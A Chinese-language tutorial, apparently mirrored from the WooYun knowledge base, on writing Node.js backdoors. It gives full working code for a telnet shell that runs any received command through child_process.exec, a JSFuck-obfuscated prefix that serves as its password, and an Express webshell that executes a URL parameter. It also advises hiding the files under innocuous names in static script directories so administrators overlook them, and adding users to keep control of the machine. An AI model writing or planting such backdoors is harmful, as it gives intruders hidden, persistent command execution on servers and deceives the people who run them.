作者:
Black_Hole
·
2015/12/03 10:23
0x00 前言
從語言下手,來寫一個市面沒有的後面程式。
0x01 為什麼選擇NodeJs
- 我個人非常喜愛JavaScript這門語言,而我們今天所說的就是NodeJS,JavaScript語言的一個分支。NodeJS本身就是一個Web 伺服器同時他還是一門後端語言,這一點尤其重要,因為我們只需要下載一個NodeJs就可以完成一系列操作,從而免去很多的麻煩。
- 而且即使被運維人員發現,也會以為是開發部門正在寫有關NodeJs的專案。
NodeJs是一個非常年輕的語言,以至於很多人都沒有學過。我見過運維人員懂PHP、Python的,但是懂NodeJs的,我是沒見過。
接下來的篇章,我會使用telnet通訊和web通訊兩個方式來寫NodeJs後面程式。
下一篇再說
0x02 前期準備工作
有關NodeJs安裝的,請自行百度。
我這裡使用的是NodeJs版本是5.1.0
NodeJs安裝完成後,我們可以隨便在哪一個目錄建立一個NodeJs檔案,當然我這裡推薦在伺服器網站上的靜態目錄裡的JavaScript目錄來寫,因為都是JavaScript檔案,有很大的隱蔽性。我嫌麻煩,就在~目錄下建立一個nodeDemo目錄來建立NodeJs檔案了。
我這裡建立的是app.js,當然名字隨便取,你可以取base.js、cache.js、cookies.js等等,起到隱蔽性就行了。
0x03 telnet通訊後門
NodeJs裡使用telnet進行通訊的時候,需要呼叫net
庫和child_process
庫裡的exec方法。
程式碼如下:
var net = require('net');
var exec = require('child_process').exec;
然後使用createServer()函式來建立連線,程式碼如下:
var server= net.createServer(function(conn){
//code
});
接下來要解決字串編碼問題,不然亂碼真的沒法看:
conn.setEncoding('utf8');
注意這裡沒有-
,不是utf-8
。切記。
為了好看,我還特意加上了conn.write('\n')
;恩,這樣好看多了。
OK,接下來就是連線成功後,處理輸入的字串了。這裡需要用on函式:
conn.on('data',function(data){
//code
});
在輸入後的字串裡,刪除掉回車字串。
data=data.replace('\r\n','');
這段程式碼非常重要。我被這個坑卡了二十分鐘。很多人可能會問不就是個回車麼,按兩次Enter鍵怎麼了。問題就在這。他這是ascll編碼,也就是說你這個不會回車,而是回車的ascll編碼,如果沒有這個命令,你輸入的命令都將無法使用,你用echo輸出到的檔案也會變成xxx.txt?這裡並不是真正的?,而是系統無法顯示出這個字元,而用?告訴人們,這是一個無法顯示的字串。
這裡的data變數就是我們輸入的命令了。接下來就要用到child_process
庫裡的exec方法了。
exec(data,function(error,stdout){
//code
});
exec的第一個引數是data,也就是我們要執行的程式碼,後面的引數是個函式,這個函式里的一個引數是error,他是反饋命令中存在的錯誤。二個引數stdout是命令執行後的反饋。
我們先判斷執行的命令中是否存在錯誤:
if(error !== null){
conn.write(error + '\n');
return false;
}
如果沒有錯誤會反饋null字串,我們就拿這個當做判斷條件。Conn.write是在telnet終端反饋字元的,相當於php中的echo。
return false;
是防止程式繼續向下執行。
接下來就是顯示命令反饋了:
conn.write('########################start\n\n' + stdout + '\n########################end\n\n');
為了更加的直觀,我用#start和#end來標出反饋的區域。
server變數OK後,就是讓程式監聽埠執行了。
server.listen(3000,function(){
console.log('OK');
});
監聽3000埠,並在終端中顯示OK。
完整程式碼如下:
var net = require('net');
var exec = require('child_process').exec;
var server= net.createServer(function(conn){
conn.setEncoding('utf8');
conn.write('\n');
conn.on('data',function(data){
data=data.replace('\r\n','');
exec(data,function(error,stdout){
if(error !== null){
conn.write(error + '\n');
return false;
}
conn.write('########################start\n\n' + stdout + '\n########################end\n\n');
});
});
});
server.listen(3000,function(){
console.log('OK');
});
現在讓我們來測試一下:
開啟另一個終端,輸入telnet 127.0.0.1 3000
現在我們輸入幾條命令試下:
OK了。現在只需要使用新增使用者即可再次控制機器。
而這裡有個缺陷,就是沒有密碼驗證,我特意查了net庫裡的函式,但是沒有找到密碼驗證,於是我想到了另一種方法來代替密碼驗證。程式碼如下:
if(data.substring(0,2) == 'js'){
data = data.substring(2);
}else{
return false;
}
每一條命令的前面都加上js才會執行,如果沒有,則什麼都不輸出。事例:
加上當我第一次輸入ls的時候,程式並沒有執行,當前面加上js字串之後,命令才成功的執行。
直接寫js字串太顯眼了,我們加密一下吧,因為NodeJs用的v8引擎,那麼在瀏覽器裡的JavaScript黑魔法,在NodeJs裡也可以使用,我們開啟http://www.jsfuck.com/把js加密下,加密後的字串是:
(+(!+[]+!+[]+!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]
如圖:
那麼現在的NodeJs後門程式碼就變成這個樣子:
現在我們來測試一下能不能使用:
完美。
0x03 web通訊後門
上節說道使用telnet通訊當做後門,那麼現在我們來說一說web通訊後門。
這裡是使用了express框架嗎,玩過NodeJs的人都知道,基本是NodeJs必裝框架。
安裝express框架請自行百度。
首先我們建立一個網站目錄用於存放後面程式。
express node如圖:
cd node && npm install
完成後,基本就OK了。現在我們進入到routes目錄。修改index.js檔案。
vim router/index.js
這是之前的index.js程式碼,現在我們來修改它。
在第三行加入程式碼:
var exec = require('child_process').exec;
刪除第6行程式碼,修改為:
exec(req.query.webshellPassword,function(error,stdout){
if(error !== null){
res.send(error);
return false;
}
res.send(stdout);
});
基本和上一節的telnet通訊後門程式碼差不多。只是出現瞭如下程式碼:
req.query.webshellPassword
req.query
是NodeJs獲取URL引數的。webshellPassword是引數名。他相當於PHP程式碼裡的:$_GET['webshallPassword'];
完整程式碼如下:
現在我們進入到node目錄。執行它:
開啟瀏覽器,輸入http://127.0.0.1:3000/?webshellPassword=ls
結果如下:
瀏如果是window系統,沒有裝linux命令集的話,請把ls改成dir。
我們來大致看一下能做哪些事:
想幹啥都可以,心情瞬間變得更美麗的呢。
下一章將說到使用網站來管理後門。麻麻再也不用擔心我天天抱著電腦了呢。
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!